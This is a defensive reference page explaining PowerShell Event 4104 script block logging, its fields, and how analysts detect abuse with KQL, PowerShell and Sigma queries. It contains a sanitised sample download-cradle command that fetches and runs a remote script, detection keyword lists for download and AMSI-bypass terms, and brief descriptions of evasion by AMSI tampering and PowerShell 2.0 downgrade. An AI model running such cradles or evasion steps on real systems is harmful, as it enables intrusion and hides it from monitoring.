Log Dejargonizer

Windows PowerShell · Event 4104

PowerShell Event 4104: Script block logging

PowerShell recorded the actual code it was about to run. Because it logs the script after decoding and de-obfuscation, it defeats encoded commands entirely — which makes it the single most valuable thing you can enable for detecting PowerShell abuse.

Also written as PowerShell 4104Event ID 4104Script block loggingCreating Scriptblock text

What it means for you

On a personal computer

Not enabled by default and not something you need on a personal machine.

For an analyst

Enable it via Group Policy under Administrative Templates, Windows Components, Windows PowerShell, Turn on PowerShell Script Block Logging. The key property is that PowerShell logs the script block after decoding, so `-EncodedCommand` payloads appear as plain text. Note it applies to PowerShell 5.0 and later; PowerShell 2.0 has no script block logging at all, which is why downgrade attacks remain relevant. Long scripts are split across multiple events joined by MessageNumber and MessageTotal — reassemble before matching, or you will miss anything spanning a boundary.

What it looks like

Sanitised. Addresses come from the RFC 5737 documentation ranges.

Sample
Creating Scriptblock text (1 of 1):
$c = New-Object Net.WebClient; $c.Headers.Add('User-Agent','Mozilla/5.0'); IEX $c.DownloadString('https://files.example.invalid/s.ps1')

ScriptBlock ID: 0a1b2c3d-0000-0000-0000-00000000abcd
Path: 

The fields that decide it

Everything else in the log line is context.

ScriptBlockText
The code that ran, after decoding and de-obfuscation. This is the entire reason to enable the feature.
  • FromBase64StringDecoding an embedded payload. Common in droppers and in legitimate tooling alike.
  • IEX or Invoke-ExpressionExecuting a constructed string. Heavily used in download cradles.
  • DownloadString or DownloadFileFetching remote content. The classic download cradle.
  • -w hidden or -WindowStyle HiddenDeliberately hiding the window.
  • Add-MpPreference -ExclusionPathAdding an antivirus exclusion, usually before dropping something into it.
  • System.Reflection or [Ref].AssemblyReflective loading, often used to patch AMSI or load assemblies from memory.
ScriptBlockId
A unique identifier for the script block. Use it to join the parts of a long script together.
MessageNumber / MessageTotal
Which part of a split script this is, and how many parts there are. Anything longer than the event size limit is fragmented.
Path
The script file, when the block came from a file rather than being typed or piped in. Empty for interactive and encoded commands.

Ordinary reasons this happens

Most of the time it is one of these.

  • Ordinary administrative scripting.
  • Configuration management and deployment tooling, which produces very large volumes.
  • Monitoring and inventory agents running PowerShell collection scripts.
  • Module loading, which logs the module's own code as it initialises — a large share of the volume.
  • Developer and operations work on servers.

When it is not ordinary

An encoded command hiding a download cradle.

What gives it awayScriptBlockText showing the decoded content of an -EncodedCommand payload, typically fetching and executing remote content.

ATT&CK T1059.001

AMSI being disabled before running a payload.

What gives it awayReflection against AMSI-related types, or patching amsiInitFailed, which is a well-known and consistently malicious pattern.

ATT&CK T1562.001

In-memory assembly loading.

What gives it awayReflective loading of .NET assemblies from byte arrays, avoiding anything touching disk.

ATT&CK T1620

Credential harvesting scripts.

What gives it awayCode enumerating credential stores, reading LSASS, or collecting browser data.

ATT&CK T1003

Downgrade to PowerShell 2.0 to escape logging.

What gives it awayA command invoking PowerShell with -Version 2. Script block logging does not exist there, and that is the point.

ATT&CK T1562.002

What to do next

  1. Read the ScriptBlockText. Because it is already decoded, there is usually nothing left to unpick.
  2. Check MessageTotal — if it is greater than one, reassemble the parts by ScriptBlockId before judging.
  3. Check the Path field to see whether the code came from a file or was typed or piped in.
  4. Correlate with Event 4688 or Sysmon Event 1 for the process and its parent.
  5. Look for AMSI tampering and reflective loading specifically; those patterns have very few legitimate uses.
  6. Check whether the same script appears across many machines, which usually means it is your own tooling.

Queries to run

kql The common abuse patterns. Expect legitimate hits from your own tooling and exclude those specifically.
Event | where EventLog == 'Microsoft-Windows-PowerShell/Operational' and EventID == 4104 | where RenderedDescription has_any ('DownloadString','DownloadFile','FromBase64String','IEX','Invoke-Expression','amsiInitFailed','-w hidden') | project TimeGenerated, Computer, UserName, RenderedDescription
kql AMSI tampering. Very few legitimate reasons to touch these, so this is close to a standalone alert.
Event | where EventID == 4104 | where RenderedDescription has_any ('System.Management.Automation.AmsiUtils','amsiInitFailed','AmsiScanBuffer') | project TimeGenerated, Computer, RenderedDescription
powershell Reads the actual script text from the last four hours on one machine.
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104; StartTime=(Get-Date).AddHours(-4)} | ForEach-Object { $x=[xml]$_.ToXml(); $x.Event.EventData.Data | Where-Object Name -eq 'ScriptBlockText' | Select-Object -Expand '#text' }
sigma Starting point. The AMSI terms are near-zero false positive; the others need tuning against your own automation.
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'AmsiUtils'
      - 'amsiInitFailed'
      - 'FromBase64String'
      - 'DownloadString'
  condition: selection

Common questions

How do I enable PowerShell script block logging?

Group Policy, under Computer Configuration, Administrative Templates, Windows Components, Windows PowerShell, 'Turn on PowerShell Script Block Logging'. Leave the 'log script block invocation start/stop' option off unless you specifically need it — it multiplies the volume for little additional detection value.

Does script block logging catch encoded PowerShell commands?

Yes, and that is the main reason to enable it. PowerShell logs the script block after decoding, so a command passed with -EncodedCommand appears in the log as readable code. Obfuscation applied before execution is likewise resolved, because the engine has to produce runnable code before it can run it.

Why is my PowerShell script split across multiple 4104 events?

Because script blocks longer than the event size limit are fragmented, with MessageNumber and MessageTotal indicating the sequence and ScriptBlockId tying them together. Detection rules that match on a single event will miss anything that spans a boundary, so reassemble by ScriptBlockId before matching.

Can attackers avoid PowerShell script block logging?

Partly. Script block logging arrived in PowerShell 5.0, so invoking PowerShell 2.0 with `-Version 2` bypasses it entirely — remove PowerShell 2.0 from your systems to close that. Attackers also tamper with AMSI or use non-PowerShell .NET hosts to avoid the engine altogether. It is a very strong control, not a complete one.

How much log volume does script block logging generate?

More than people expect, because module loading logs the module's own code as it initialises. On a server running configuration management it can be substantial. Filter out your known tooling at collection rather than disabling the feature — the detection value is high enough to be worth the storage.

Read next

Mentioned by

Vendor documentation

Last reviewed 28 August 2026